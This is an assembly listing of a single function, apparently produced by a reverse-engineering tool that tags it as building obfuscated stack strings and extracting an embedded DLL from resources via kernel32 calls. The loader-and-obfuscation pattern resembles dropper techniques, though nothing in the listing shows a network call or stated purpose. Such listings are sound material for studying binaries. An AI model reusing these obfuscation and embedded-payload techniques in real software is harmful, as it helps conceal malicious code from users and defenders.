Function at 0x100191f0
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x29dc
call fcn.1004a0b0
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x29f0]
push 0x2349
push 0x68
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x10019238
mov esi, dword [esp + 0x29fc]
push esi
call fcn.10018fe0
add esp, 4
test eax, eax
jne 0x100192a5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x29dc
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10019264
push 0x10
push str.Error
push str.Cant_load_dll_from_Res_
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x29dc
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [0x1021d140], eax
jne 0x10019294
push 0x10
push str.Error
push str.Cant_load_dll_from_Res_
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x29dc
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, dword [esp + 0x29fc]
mov dword [esi], eax
mov eax, dword [esi]
mov edx, dword [0x1021d140]
mov ebp, dword [esp + 0x29f4]
mov ecx, 0x996
lea esi, [eax + edx - 0x2658]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x1ff
div ecx
mov al, 0x30
push 0x4cc
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x32], al
lea eax, [ebp + 0x128]
mov bl, 0x60
mov cl, 0x20
mov byte [esp + 0x14], 0x14
mov byte [esp + 0x15], 0x28
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0xc8
mov byte [esp + 0x1a], 0x45
mov byte [esp + 0x1b], 0x12
mov byte [esp + 0x1c], 0x18
mov byte [esp + 0x1d], 0x61
mov byte [esp + 0x1f], 0
mov byte [esp + 0x20], 0x22
mov byte [esp + 0x21], 0
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], 0
mov byte [esp + 0x24], 0x90
mov byte [esp + 0x25], 0x66
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], pe_nt_image_headers32
mov byte [esp + 0x29], 2
mov byte [esp + 0x2a], 0x7f
mov byte [esp + 0x2b], 0x3a
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2d], 0x23
mov byte [esp + 0x2e], 0x36
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x80
mov byte [esp + 0x31], bl
mov byte [esp + 0x33], 0
mov dword [0x1021d374], edx
mov dl, 0xe
mov byte [esp + 0x1e], dl
mov byte [esp + 0x26], dl
lea edx, [esp + 0x14]
push edx
push 0x64
push eax
call fcn.100179e0
mov cl, byte [0x1021d35c]
xor eax, eax
mov byte [esp + 0x19c], cl
mov ecx, 0x81
lea edi, [esp + 0x19d]
lea edx, [esp + 0x19c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
xor ebx, ebx
stosb byte es:[edi], al
call fcn.10018f60
mov ecx, 0x996
mov esi, ebp
lea edi, [esp + 0x3a8]
add esp, 0x14
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x996
lea esi, [esp + 0x394]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp + 0x570], 1
jne 0x10019416
mov ecx, dword [0x1021d360]
lea eax, [esp + 0x88]
push eax
push ebx
call fcn.1001c040
lea ecx, [esp + 0x88]
mov esi, eax
push ecx
mov ecx, dword [0x1021d360]
call fcn.1001a4e0
jmp 0x1001943a
mov eax, dword [ebp + 0x560]
mov ecx, dword [ebp + 0x564]
lea edx, [esp + 0x88]
push edx
push eax
push ecx
mov ecx, dword [0x1021d360]
push ebx
call fcn.1001bff0
mov esi, eax
test esi, esi
je 0x10019482
cmp byte [ebp + 0x558], 1
jne 0x10019746
mov eax, dword [0x1021d408]
test eax, eax
jne 0x10019746
lea edx, [esp + 0x18c]
mov dword [0x1021d408], 1
push edx
push ebp
call fcn.10019130
add esp, 8
test eax, eax
je 0x10019746
xor ebx, ebx
jmp 0x100193d2
lea eax, [esp + 0x88]
lea esi, [ebp + 0x118]
push eax
push 0x10
push esi
call fcn.10017970
add esp, 0xc
test eax, eax
je 0x10019740
lea ecx, [esp + 0x88]
push ecx
push 0x118
push ebp
call fcn.10017970
add esp, 0xc
test eax, eax
je 0x10019740
lea edx, [ebp + 0x5f4]
push edx
push 0x118
push ebp
call fcn.10017ad0
mov al, byte [ebp + 4]
add esp, 0xc
test al, al
jne 0x100194ea
cmp byte [ebp + 0x558], 1
jne 0x100195de
lea eax, [esp + 0x88]
lea ecx, [esp + 0x60]
push eax
push ecx
mov ecx, dword [0x1021d360]
call fcn.1001c620
test eax, eax
jne 0x10019740
mov dl, byte [0x1021d35c]
mov dword [esp + 0x35], eax
mov byte [esp + 0x34], dl
mov dword [esp + 0x39], eax
lea ecx, [esp + 0x88]
lea edx, [esp + 0x34]
mov dword [esp + 0x3d], eax
push ecx
mov ecx, dword [0x1021d360]
push edx
mov dword [esp + 0x49], eax
call fcn.1001c810
test eax, eax
jne 0x10019740
lea eax, [esp + 0x34]
lea ecx, [ebp + 0x105]
push eax
push ecx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x10019740
cmp byte [ebp + 0x126], 1
jne 0x100195de
mov eax, dword [0x1021d3a0]
test eax, eax
jne 0x10019595
lea edx, [esp + 0x18c]
mov dword [0x1021d3a0], 1
push edx
push ebp
call fcn.10019130
add esp, 8
test eax, eax
je 0x10019746
mov al, byte [0x1021d35c]
mov ecx, 8
mov byte [esp + 0x64], al
xor eax, eax
lea edi, [esp + 0x65]
lea edx, [esp + 0x64]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x88]
push ecx
mov ecx, dword [0x1021d360]
push edx
call fcn.1001c550
test eax, eax
jne 0x10019740
lea eax, [esp + 0x64]
push eax
call dword [0x1021d3f8]
test eax, eax
jne 0x10019740
cmp byte [ebp + 0x570], 3
jne 0x1001962b
mov al, byte [ebp + 0x2a]
test al, al
je 0x1001962b
lea ecx, [esp + 0x88]
push ecx
mov ecx, dword [0x1021d360]
call fcn.1001a4e0
mov eax, dword [ebp + 0x568]
mov ecx, dword [ebp + 0x56c]
lea edx, [esp + 0x88]
push edx
push eax
push ecx
mov ecx, dword [0x1021d360]
push ebx
call fcn.1001bfa0
test eax, eax
jne 0x10019740
cmp byte [ebp + 0x570], 1
jne 0x10019656
mov al, byte [ebp + 0x29]
test al, al
je 0x10019676
lea edx, [esp + 0x88]
push edx
push ebp
call fcn.10017c10
add esp, 8
test eax, eax
je 0x10019740
jmp 0x10019676
mov al, byte [ebp + 0x2a]
test al, al
je 0x10019676
lea eax, [esp + 0x88]
push eax
push ebp
call fcn.10017c10
add esp, 8
test eax, eax
je 0x10019740
mov al, byte [ebp + 0x2b]
test al, al
je 0x10019696
lea ecx, [esp + 0x88]
push ecx
push ebp
call fcn.10017ca0
add esp, 8
test eax, eax
je 0x10019740
cmp byte [ebp + 0x570], 1
je 0x100196bf
mov al, byte [ebp + 0x29]
test al, al
je 0x100196bf
lea edx, [esp + 0x88]
push edx
push ebp
call fcn.10017b50
add esp, 8
test eax, eax
je 0x10019740
mov eax, dword [0x1021d3a0]
test eax, eax
je 0x100196ce
call dword [0x1021d3d4]
mov eax, dword [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x58]
push 0x101e1f14
push ecx
call esi
mov edx, dword [ebp + 0x11c]
lea eax, [esp + 0x54]
push edx
push 0x101e1f14
push eax
call esi
add esp, 0x18
lea ecx, [esp + 0x88]
lea edx, [esp + 0x48]
lea eax, [esp + 0x54]
push ecx
push edx
push eax
lea ecx, [esp + 0x3f]
push 0
push ecx
mov ecx, dword [0x1021d360]
call fcn.1001bb60
test eax, eax
jne 0x10019740
lea edx, [esp + 0x88]
lea eax, [esp + 0x48]
push edx
lea ecx, [esp + 0x58]
push eax
push ecx
push ebp
call fcn.10018d20
add esp, 0x10
test eax, eax
jne 0x1001975c
inc ebx
jmp 0x100193d2
push ebp
call fcn.10018de0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x29dc
ret
mov eax, dword [esp + 0x29f8]
lea edx, [esp + 0x88]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, byte [ebp + 0x2b]
test al, al
je 0x10019788
lea ecx, [esp + 0x88]
push ecx
push ebp
call dword [0x1021d36c]
mov ecx, dword [0x1021d360]
test ecx, ecx
je 0x10019798
mov edx, dword [ecx]
push 1
call dword [edx]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x29dc
ret